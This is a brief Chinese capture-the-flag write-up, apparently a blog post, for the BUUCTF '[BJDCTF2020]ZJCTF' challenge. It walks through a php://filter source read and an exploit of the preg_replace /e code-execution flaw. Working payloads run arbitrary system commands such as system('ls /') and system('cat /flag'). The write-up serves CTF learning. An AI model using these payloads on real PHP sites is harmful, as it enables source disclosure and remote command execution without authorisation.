BUUCTF[BJDCTF2020]ZJCTF,不过如此 1

考点:

  1.php为协议

  2.preg_replace /e  代码执行漏洞

进入靶场

代码审计,GET传参,text 要为 “I have a dream”  ,file为next.php

构造payload:

  ?text=data://text/plain,I have a dream&&file=php://filter/read=convert.base64-encode/resource=next.php

base64解码

代码审计,要绕过正则匹配,然后执行eval()函数,而我们要执行eval()函数,就要通过getFlag()这个函数。

参考(对此正则进行查询:Preg_Replace代码执行漏洞解析-CE安全网 (cesafe.com)

文章中提到:

  \S*=${phpinfo()}

将上面输入会将phpinfo()当做php代码执行。通过上述方法调用getFlag()函数

payload: next.php?\S*=${getFlag()}&&cmd=phpinfo();

成功获取界面,下面读取文件

payload: next.php?\S*=${getFlag()}&&cmd=system('ls /');

读取flag

payload:next.php?\S*=${getFlag()}&&cmd=system('cat /flag'); 

 得到flag

posted @ 2021-10-25 22:44  LoYoHo00  阅读(1003)  评论(0)    收藏  举报
levels of contents